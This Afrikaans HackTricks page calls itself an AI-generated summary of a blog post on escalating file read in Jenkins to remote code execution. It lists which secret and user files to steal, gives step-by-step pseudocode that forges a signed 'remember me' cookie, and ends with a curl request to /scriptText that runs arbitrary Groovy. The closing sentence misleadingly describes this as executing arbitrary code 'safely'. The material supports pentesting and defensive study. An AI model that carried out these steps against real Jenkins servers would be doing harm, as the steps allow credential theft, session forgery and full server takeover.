# Jenkins Arbitrêre Lêer Lees na RCE via "Onthou My"

{{#include ../../banners/hacktricks-training.md}}

In hierdie blogpos is dit moontlik om 'n uitstekende manier te vind om 'n Local File Inclusion kwesbaarheid in Jenkins in RCE te transformeer: [https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/](https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/)

Dit is 'n KI-gegenereerde opsomming van die deel van die pos waar die vervaardiging van 'n arbitrêre koekie misbruik word om RCE te verkry deur 'n plaaslike lêer te lees totdat ek tyd het om 'n opsomming op my eie te skep:

### Aanval Voorvereistes

- **Kenmerk Vereiste:** "Onthou my" moet geaktiveer wees (standaardinstelling).
- **Toegangsvlakke:** Aanvaller benodig Algemene/Lees regte.
- **Geheime Toegang:** Vermoë om beide binêre en teksinhoud van sleutel lêers te lees.

### Gedetailleerde Exploitasiestap

#### Stap 1: Gegevensinsameling

**Gebruikersinligting Herwinning**

- Toegang gebruikerskonfigurasie en geheime van `$JENKINS_HOME/users/*.xml` vir elke gebruiker om te versamel:
- **Gebruikersnaam**
- **Gebruiker saad**
- **Tydstempel**
- **Wagwoord hash**

**Geheime Sleutel Uittrekking**

- Trek kriptografiese sleutels uit wat gebruik word om die koekie te teken:
- **Geheime Sleutel:** `$JENKINS_HOME/secret.key`
- **Meester Sleutel:** `$JENKINS_HOME/secrets/master.key`
- **MAC Sleutel Lêer:** `$JENKINS_HOME/secrets/org.springframework.security.web.authentication.rememberme.TokenBasedRememberMeServices.mac`

#### Stap 2: Koekie Valsifikasie

**Token Voorbereiding**

- **Bereken Token Vervaldatum:**

```javascript
tokenExpiryTime = currentServerTimeInMillis() + 3600000 // Voeg een uur by die huidige tyd
```

- **Konkateer Gegevens vir Token:**

```javascript
token = username + ":" + tokenExpiryTime + ":" + userSeed + ":" + secretKey
```

**MAC Sleutel Ontsleuteling**

- **Ontsleutel MAC Sleutel Lêer:**

```javascript
key = toAes128Key(masterKey)  // Convert meester sleutel na AES128 sleutel formaat
decrypted = AES.decrypt(macFile, key)  // Ontsleutel die .mac lêer
if not decrypted.hasSuffix("::::MAGIC::::")
return ERROR;
macKey = decrypted.withoutSuffix("::::MAGIC::::")
```

**Handtekening Berekening**

- **Bereken HMAC SHA256:**

```javascript
mac = HmacSHA256(token, macKey) // Bereken HMAC met die token en MAC sleutel
tokenSignature = bytesToHexString(mac) // Convert die MAC na 'n hexadesimale string
```

**Koekie Kodering**

- **Genereer Finale Koekie:**

```javascript
cookie = base64.encode(
username + ":" + tokenExpiryTime + ":" + tokenSignature
) // Base64 kodeer die koekie data
```

#### Stap 3: Kode Uitvoering

**Sessie Verifikasie**

- **Haal CSRF en Sessie Tokens:**
- Maak 'n versoek na `/crumbIssuer/api/json` om `Jenkins-Crumb` te verkry.
- Vang `JSESSIONID` uit die antwoord, wat saam met die onthou-my koekie gebruik sal word.

**Opdrag Uitvoeringsversoek**

- **Stuur 'n POST Versoek met Groovy Skrip:**

```bash
curl -X POST "$JENKINS_URL/scriptText" \
--cookie "remember-me=$REMEMBER_ME_COOKIE; JSESSIONID...=$JSESSIONID" \
--header "Jenkins-Crumb: $CRUMB" \
--header "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode "script=$SCRIPT"
```

- Groovy skrip kan gebruik word om stelselniveau opdragte of ander operasies binne die Jenkins omgewing uit te voer.

Die voorbeeld curl-opdrag wat verskaf word demonstreer hoe om 'n versoek aan Jenkins te maak met die nodige koptekste en koekies om arbitrêre kode veilig uit te voer.

{{#include ../../banners/hacktricks-training.md}}
